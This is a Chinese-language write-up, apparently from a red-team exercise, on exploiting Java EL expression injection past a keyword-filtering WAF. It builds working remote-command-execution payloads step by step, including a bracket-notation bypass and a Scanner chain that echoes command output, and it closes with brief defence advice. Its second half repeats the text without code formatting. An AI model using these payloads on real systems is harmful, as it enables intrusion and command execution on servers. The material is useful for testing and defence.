记一次HVV实战中对EL表达式的极限绕过
字数 2207 2025-10-01 14:05:44

EL表达式注入漏洞实战绕过技术详解

前言

本文基于HVV实战中遇到的EL表达式注入漏洞及WAF绕过案例,详细记录从发现到最终绕过的完整过程,重点分析EL表达式语法特性、常见RCE payload构造方法以及针对严格WAF的极限绕过技术。

EL表达式基础

EL语法概述

EL(Expression Language)表达式格式统一为 ${expression},提供在JSP环境中简化数据访问的表达式语言。

运算符系统

  • 点运算符(.):用于访问对象属性和方法,如 ${user.name}
  • 方括号运算符([]):功能更强大的替代运算符,支持:
    • 访问包含特殊字符的属性名:${user["My-Name"]}(处理含.-的属性名)
    • 动态取值功能:${sessionScope.user[data]}(其中data为变量)

隐式对象体系

JSP EL定义了一套完整的隐式对象,用于访问各种上下文数据:

对象类别 对象名称 等效Java代码 功能描述
请求参数 param request.getParameter(name) 获取单个请求参数值
paramValues request.getParameterValues(name) 获取请求参数值数组
HTTP头 header request.getHeader(name) 获取单个请求头值
headerValues request.getHeaders(name) 获取请求头值数组
Cookie cookie request.getCookies() 获取cookie对象
初始化参数 initParam servletContext.getInitParameter(name) 获取上下文初始化参数
作用域对象 pageScope pageContext.getAttribute(name) 页面作用域属性访问
requestScope request.getAttribute(name) 请求作用域属性访问
sessionScope session.getAttribute(name) 会话作用域属性访问
applicationScope application.getAttribute(name) 应用作用域属性访问
上下文对象 pageContext - 访问JSP隐式对象(请求、响应、会话等)

常见RCE payload构造原理

核心思路

通过EL表达式访问Java类和方法,最终实现命令执行:

  1. 获取Class对象:通过内置对象或字面量获取类引用
  2. 反射调用:通过反射机制获取方法和调用方法
  3. 命令执行:调用Runtime等类的执行方法

传统payload示例

${Runtime.getRuntime().exec("calc")}
${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')}

实战WAF绕过技术详解

初始探测

  1. 发现参数输入直接回显,初步测试XSS无果
  2. 尝试数学表达式 1+1 未计算,怀疑表达式执行环境
  3. 确认EL表达式执行环境:${7*7} 返回49,确认漏洞存在

WAF拦截分析

传统payload中的关键字全部被拦截:

  • Runtime, Class, getRuntime, exec, getMethod, invoke
  • 大小写变换等简单绕过手法无效

关键绕过技术突破

第一步:类获取绕过

利用[]运算符替代点运算符,避免关键字检测:

${''["class"]}

成功获取Class对象,绕过class关键字检测

第二步:反射方法调用

${''["class"].forName("java.lang.Runtime")}

获取Runtime类引用,绕过forName关键字检测

第三步:方法获取与调用

${''["class"].forName("java.lang.Runtime").getMethod("getRuntime",null)}

获取getRuntime方法,注意此处必须保留null参数

第四步:实例化对象获取

${''["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null)}

成功获取Runtime实例,此处发现必须保留null参数,否则报错

命令执行与回显处理

命令执行payload

${''["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null).exec("whoami")}

但无回显显示,需要获取输出

回显解决方案

使用Scanner类读取命令执行结果:

${''["class"].forName("java.util.Scanner").getConstructor(''["class"].forName("java.io.InputStream")).newInstance(''["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null).exec("whoami").getInputStream()).next()}

完整流程:

  1. 执行命令获取Process对象
  2. 获取命令执行结果的InputStream
  3. 使用Scanner构造函数接收InputStream
  4. 调用Scanner的next()方法读取输出内容

总结与技术要点

核心绕过技术

  1. 运算符替换:使用[]替代点运算符,有效避开关键字检测
  2. 参数完整性:保持方法调用时参数列表的完整性(如null参数必须保留)
  3. 反射链构造:通过完整的反射调用链实现功能,避免直接使用关键字

防御建议

  1. 输入过滤:对EL表达式特殊字符和关键字进行过滤
  2. 沙箱环境:限制EL表达式的执行环境,禁用危险类和方法的访问
  3. 上下文检查:确保EL表达式仅在预期的安全上下文中执行

学习价值

本案例展示了:

  • EL表达式注入的完整利用链
  • 针对严格WAF的渐进式绕过方法
  • Java反射机制在漏洞利用中的灵活应用
  • 回显获取的多种技术方案

通过此实战案例,可深入理解EL表达式注入的原理和防御方法,提升代码安全审计和漏洞挖掘能力。

EL表达式注入漏洞实战绕过技术详解 前言 本文基于HVV实战中遇到的EL表达式注入漏洞及WAF绕过案例,详细记录从发现到最终绕过的完整过程,重点分析EL表达式语法特性、常见RCE payload构造方法以及针对严格WAF的极限绕过技术。 EL表达式基础 EL语法概述 EL(Expression Language)表达式格式统一为 ${expression} ,提供在JSP环境中简化数据访问的表达式语言。 运算符系统 点运算符(.) :用于访问对象属性和方法,如 ${user.name} 方括号运算符([]) :功能更强大的替代运算符,支持: 访问包含特殊字符的属性名: ${user["My-Name"]} (处理含 . 或 - 的属性名) 动态取值功能: ${sessionScope.user[data]} (其中data为变量) 隐式对象体系 JSP EL定义了一套完整的隐式对象,用于访问各种上下文数据: | 对象类别 | 对象名称 | 等效Java代码 | 功能描述 | |---------|---------|-------------|---------| | 请求参数 | param | request.getParameter(name) | 获取单个请求参数值 | | | paramValues | request.getParameterValues(name) | 获取请求参数值数组 | | HTTP头 | header | request.getHeader(name) | 获取单个请求头值 | | | headerValues | request.getHeaders(name) | 获取请求头值数组 | | Cookie | cookie | request.getCookies() | 获取cookie对象 | | 初始化参数 | initParam | servletContext.getInitParameter(name) | 获取上下文初始化参数 | | 作用域对象 | pageScope | pageContext.getAttribute(name) | 页面作用域属性访问 | | | requestScope | request.getAttribute(name) | 请求作用域属性访问 | | | sessionScope | session.getAttribute(name) | 会话作用域属性访问 | | | applicationScope | application.getAttribute(name) | 应用作用域属性访问 | | 上下文对象 | pageContext | - | 访问JSP隐式对象(请求、响应、会话等)| 常见RCE payload构造原理 核心思路 通过EL表达式访问Java类和方法,最终实现命令执行: 获取Class对象:通过内置对象或字面量获取类引用 反射调用:通过反射机制获取方法和调用方法 命令执行:调用Runtime等类的执行方法 传统payload示例 实战WAF绕过技术详解 初始探测 发现参数输入直接回显,初步测试XSS无果 尝试数学表达式 1+1 未计算,怀疑表达式执行环境 确认EL表达式执行环境: ${7*7} 返回49,确认漏洞存在 WAF拦截分析 传统payload中的关键字全部被拦截: Runtime , Class , getRuntime , exec , getMethod , invoke 等 大小写变换等简单绕过手法无效 关键绕过技术突破 第一步:类获取绕过 利用 [] 运算符替代点运算符,避免关键字检测: 成功获取Class对象,绕过 class 关键字检测 第二步:反射方法调用 获取Runtime类引用,绕过 forName 关键字检测 第三步:方法获取与调用 获取getRuntime方法,注意此处必须保留 null 参数 第四步:实例化对象获取 成功获取Runtime实例,此处发现必须保留 null 参数,否则报错 命令执行与回显处理 命令执行payload 但无回显显示,需要获取输出 回显解决方案 使用Scanner类读取命令执行结果: 完整流程: 执行命令获取Process对象 获取命令执行结果的InputStream 使用Scanner构造函数接收InputStream 调用Scanner的next()方法读取输出内容 总结与技术要点 核心绕过技术 运算符替换 :使用 [] 替代点运算符,有效避开关键字检测 参数完整性 :保持方法调用时参数列表的完整性(如 null 参数必须保留) 反射链构造 :通过完整的反射调用链实现功能,避免直接使用关键字 防御建议 输入过滤:对EL表达式特殊字符和关键字进行过滤 沙箱环境:限制EL表达式的执行环境,禁用危险类和方法的访问 上下文检查:确保EL表达式仅在预期的安全上下文中执行 学习价值 本案例展示了: EL表达式注入的完整利用链 针对严格WAF的渐进式绕过方法 Java反射机制在漏洞利用中的灵活应用 回显获取的多种技术方案 通过此实战案例,可深入理解EL表达式注入的原理和防御方法,提升代码安全审计和漏洞挖掘能力。